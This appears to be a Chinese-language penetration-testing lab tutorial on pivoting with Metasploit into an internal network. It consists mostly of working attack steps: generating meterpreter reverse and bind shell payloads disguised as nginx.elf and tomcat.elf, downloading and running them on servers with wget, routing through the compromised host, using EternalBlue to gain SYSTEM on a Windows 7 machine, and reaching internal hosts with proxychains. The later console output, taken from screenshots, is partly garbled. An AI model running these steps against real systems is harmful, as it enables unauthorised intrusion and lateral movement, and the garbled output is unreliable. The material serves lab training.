MSF正向隧道
目标：kali可以与内网机器进行通信。
MSF会话
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#1. 外网服务器上线MSF的反弹shell木马

#1.1 木马生成命令

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.88.104 LPORT=7770 -f elf -o nginx.elf



#1.2 将木马传输到外网服务器中执行

#kali

python -m http.server

#外网服务器接收木马

wget http://192.168.88.104:8000/nginx.elf



#1.3 MSF监听反向木马

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.88.104

set lport 7770

run



#1.4 外网服务器执行木马

chmod a+x ./nginx.elf

./nginx.elf &



#2. 对于MSF会话添加路由（10.20.30.0）

#2.1 使用post模块，添加路由

use post/multi/manage/autoroute



#2.2 添加会话

set session 1



#2.3 启用模块，将两段路由合并，完成跨网段通信

run



#2.4 启用之后，再次查看当前MSF会话路由

route



IPv4 Active Routing Table

=========================

   Subnet             Netmask            Gateway

   ------             -------            -------

   10.20.30.0         255.255.255.0      Session 1

   192.168.88.0       255.255.255.0      Session 1





#3.内网服务器上线MSF正向shell

#3.1 生成木马

msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=10.20.30.131 LPORT=7777 -f elf -o tomcat.elf



#3.2 木马传递：kali-->外网服务器---->内网服务器

#3.2.1 kali 第一种方式

python -m http.server



#3.2.1 kali 第二种方式

sessions -l

sessions -i 会话ID

meterpreter > lcd /root/test

meterpreter > upload ./tomcat.elf /tmp

[*] Uploading  : /root/test/tomcat.elf -> /tmp/tomcat.elf

[*] Completed  : /root/test/tomcat.elf -> /tmp/tomcat.elf



#3.2.2外网服务器

wget http://192.168.88.104:8000/tomcat.elf

# python2 共享: python -m SimpleHTTPServer 2323

python -m SimpleHTTPServer 2323



#3.2.3 内网服务器

wget http://10.20.30.128:2323/tomcat.elf

chmod a+x ./tomcat.elf



#3.3 MSF监听正向shell木马，注意：监听的lport与rhost要与木马中的设置保持一致

bg

use exploit/multi/handler

set payload linux/x64/meterpreter/bind_tcp

set rhost 10.20.30.131 

set lport 7777

run



#3.4 执行内网服务器木马

./tomcat.elf &





#4.对内网中的win7进行永恒之蓝攻击

search ms17-010

use windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set RHOSTS 10.20.30.50

set LPORT 9898

run

外网服务器：
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内网服务器：
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win7机器：
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#当前的隧道只能在msfconsole环境下有效

# msfconsole换下下执行route

# bash环境下执行route
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全局会话
由于 MSF 路由只能在 MSF 框架中使用，要想在 Kali 的控制台中使用 MSF 的路由，则需要创建一个 MSF 的代理，通过代理将数据转给 MSF 路由（隧道），最后探测出内网主机。
目标：脱离msfconsole控制台，依然可以访问内网机器。
#1. 控制跳板机器-外网服务器

#1.1 木马生成命令

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.88.104 LPORT=7770 -f elf -o nginx.elf



#1.2 将木马传输到外网服务器中执行

#kali

python -m http.server

#外网服务器，任意目标都可以

wget http://192.168.88.104:8000/nginx.elf



#1.3 MSF监听反向木马

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.88.104

set lport 7770

run



#1.4 外网服务器执行木马

chmod a+x ./nginx.elf

./nginx.elf &



#2. 对于MSF会话添加路由（10.20.30.0）

#2.1 使用post模块，添加路由

use post/multi/manage/autoroute



#2.2 添加会话

set session 1



#2.3 启用模块，将两段路由合并，完成跨网段通信

run



#2.4 启用之后，再次查看当前MSF会话路由

route



IPv4 Active Routing Table

=========================

   Subnet             Netmask            Gateway

   ------             -------            -------

   10.20.30.0         255.255.255.0      Session 1

   192.168.88.0       255.255.255.0      Session 1





#3. 创建klai的代理

#3.1 修改全局的网络代理配置,将socket4注释，添加socket5

vim /etc/proxychains4.conf

socks5 127.0.0.1 1080



#3.2 在msfconsole控制台中使用代理模式

use auxiliary/server/socks_proxy

run



#3.3 需要使用工具，进行手动代理

#proxychains工具能让本身不支持代理的程序（如 nmap、curl、wget）也通过代理服务器来访问目标网络。

#proxychains 的工作原理是“劫持”程序发出的网络连接请求

# 3.3.1 使用ssh连接内网服务器

proxychains ssh root@10.20.30.131



#3.3.2 连接Windows7 的远程桌面

apt install -y rdesktop

proxychains rdesktop 10.20.30.50 -u Administrator



#如果代理报错，则需要更新系统，apt update

#如果报错提示：公钥缺失，则执行以下命令

wget -q -O - https://archive.kali.org/archive-key.asc | sudo apt-key add -

kali机器全局代理：
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连接win7远程桌面：
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msf exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > ifconfig

Interface 1

Name

MTU

Flags

IPv4 Address
IPvd Netmask
IPv6 Address
IPv6 Netmask

Interface 2

Name

MTU

Flags

IPv4 Address
IPvd Netmask
IPv6 Address
IPv6 Netmask

Interface 3

Name

MTU

Flags

PPvl4 Address
IPvd Netmask
IPv6 Address
IPv6 Netmask

: lo
Hardware MAC :

00:00:00:00:00:00

: 65536
: UP,LOOPBACK

127.0.0.1

: 255.0.0.0

1

L FFEEEEFEFEEE FFRE FEFEFFFEE:

: ens33
Hardware MAC :

00:0c:29:Ue:a5:8a
1500

: UP,BROADCAST, MULTICAST

192.168.88.125

: 255.255.255.0
: fe80::a707:ccbb:3c00:dou7
: FFffffffffff £ f::

: ens36
Hardware MAC :

00:0c:29:Ue:a5:94
1500

: UP,BROADCAST, MULTICAST

10.20.30.128

: 255.255.255.0
: fe80::203:7a23:5b5d:9241
: FFff ffff ffff FFFf::
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msf exploit(windows/smb/msl1l7_010_eternalblue) > sessions -1

Active sessions

Type

meterpreter x6u4/linux
meterpreter x6u4/linux
meterpreter x6uU/windows

Information

root @ localhost.localdomain
root @ localhost.localdomain
NT AUTHORITY\SYSTEM @ DLRB-PC

msf exploit(windows/smb/ms17_010_eternalblue) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > ifconfig

Interface 1

Name

MTU
Flags
IPv4 Address

IPv4 Netmask :

IPv6 Address
IPv6 Netmask

Interface 2

Name

Hardware MAC :

MTU
Flags
IPv4 Address

IPv4 Netmask :
: fe80::a707:ccbb:3c00:dou7
t FFff ffffffff . FFFf::

PPv6 Address
IPv6 Netmask

: lo
Hardware MAC :
: 65536

: UP,LOOPBACK

00:00:00:00:00:00

127.0.0.1
255.0.0.0
--1

L FFEEIEFEFEFEEE FFRE FEFEFFFEE:

: ens33

00:0c:29:68:1b:f6
1500

: UP,BROADCAST, MULTICAST

10.20.30.131
255.255.255.0

meterpreter > getuid

Server username:

root

Connection

192.168.88
Local Pipe
Local Pipe

.104:7770 -> 192.168.88.125:520U48 (192.168.88.125)
—-> Remote Pipe via session 1 (10.20.30.131)
—-> Remote Pipe via session 1 (10.20.30.50)
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msf exploit(windows/smb/ms17_010_eternalblue) > run

[*] 10.20.30.50:445 — Using auxiliary/scanner/smb/smb_ms17_010 as check

[+] 10.20.30.50:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x64 (6u4-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.35/1ib/recog/fingerprint/regexp_factory.rb:3U4: warning: nested rep:s
perator '+' and '?' was replaced with '*' in regular expression

[*] 10.20.30.50:445 - Scanned 1 of 1 hosts (100% complete)

[+] 10.20.30.50:445 — The target is vulnerable.

[*] 10.20.30.50:4U45 — Connecting to target for exploitation.

[+] 10.20.30.50:4U45 — Connection established for exploitation.

[+] 10.20.30.50:445 — Target 0S selected valid for 0S indicated by SMB reply

[*] 10.20.30.50:4U45 — CORE raw buffer dump (27 bytes)

[*] 10.20.30.50:445 — 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes

[*] 10.20.30.50:445 — 0x00000010 73 69 6f 6e 61 6¢c 20 37 36 30 30 sional 7600

[+] 10.20.30.50:4U45 — Target arch selected valid for arch indicated by DCE/RPC reply

[*] 10.20.30.50:445 — Trying exploit with 12 Groom Allocations.

[*] 10.20.30.50:445 — Sending all but last fragment of exploit packet

[*] 10.20.30.50:445 — Starting non—paged pool grooming

[+] 10.20.30.50:445 - Sending SMBv2 buffers

[+] 10.20.30.50:445 — Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.

[*] 10.20.30.50:445 - Sending final SMBv2 buffers.

[*] 10.20.30.50:4U45 — Sending last fragment of exploit packet!

[*] 10.20.30.50:4U45 — Receiving response from exploit packet

[+] 10.20.30.50:445 — ETERNALBLUE overwrite completed successfully (0xC0EO00OD)!

[*] 10.20.30.50:445 — Sending egg to corrupted connection.

[*] 10.20.30.50:445 — Triggering free of corrupted buffer.

[*] Started bind TCP handler against 10.20.30.50:9898

[*] Sending stage (255678 bytes) to 10.20.30.50

[+] 10.20.30.50:445 —
[+] 10.20.30.50:445 —
[+] 10.20.30.50:445 —
[*] Meterpreter session 3 opened (Local Pipe —> Remote Pipe via session 1) at 2026-10-12 16:42:41 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
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msf exploit(windows/smb/ms17_010_eternalblue) > route

IPv4 Active Routing Table

Subnet Netmask Gateway
10.20.30.0 255.255.255.0 Session 1
192.168.88.0 25582559 5 5M0) Session 1
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(root® kali)-[~/test]

I—_# route

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.88.2 ©.6,0.0 UG 100 0 0 etho
192.168.88.0 0.0.0.0 P25 5R2 55 5 M) U 100 0 0 etho
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L—(root@ kali)-[~/test]
# route
Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.88.2 0.0.0.0 UG 100 0 0 etho
192.168.88.0 0.0.0.0 PI55R 5595 5M0) U 100 0 0 etho

L—(root@ kali)-[~/test]
# proxychains ssh root@10.20.30.131
[proxychains] config file found: /etc/proxychainsi.conf
[proxychains] preloading /usr/lib/x86_6uU4-linux—gnu/libproxychains.so.u
[proxychains] DLL init: proxychains-ng u4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.20.30.131:22

*% WARNING: connection is not using a post—-quantum key exchange algorithm.

**% This session may be vulnerable to "store now, decrypt later" attacks.
*%x The server may need to be upgraded. See https://openssh.com/pq.html
root@10.20.30.131's password:
Last login: Mon Oct 12 15:39:14 2026 from 10.20.30.128
[root@localhost ~]# ifconfig
ens33: flags=U4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.20.30.131 netmask 255.255.255.0 broadcast 10.20.30.255
inet6 fe80::a707:ccbb:3c00:doU7 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:68:1b:f6 txqueuelen 1000 (Ethernet)
RX packets 11296 bytes 8106819 (7.7 MiB)
RX errors © dropped © overruns © frame 0O
TX packets 16735 bytes 23919u485 (22.8 MiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets U468 bytes 48092 (46.9 KiB)
> RX errors 0 dropped © overruns © frame 0O
TX packets U468 bytes 48092 (46.9 KiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

[root@localhost ~]#

(0] 4




image8.png
rdesktop - 10.20.30.50

Administra...

THEH

root@kali: /home/kali

| 2iEF fF ®E EE AB

o )-[/home/kali
' proxychains rdesktop 10.20.30.50 -u Administrator
[proxychains] config file found: /etc/proxychains&.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
i{ proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.20.30.50:3389

ATTENTION! The server uses and invalid security certificate which can no
the following identified reasons(s);

1. Certificate issuer is not trusted by this system.

Issuer: CN=dlrb-PC

Review the following certificate info before you trust it to be added as




image1.png
EINTIS DMZXig;
WEBfRSS28 HUEERS S

AMRg: 192.168.88.104/24 — o—

——————————————————————————————— MSFREAD

TCP

MSFREIE









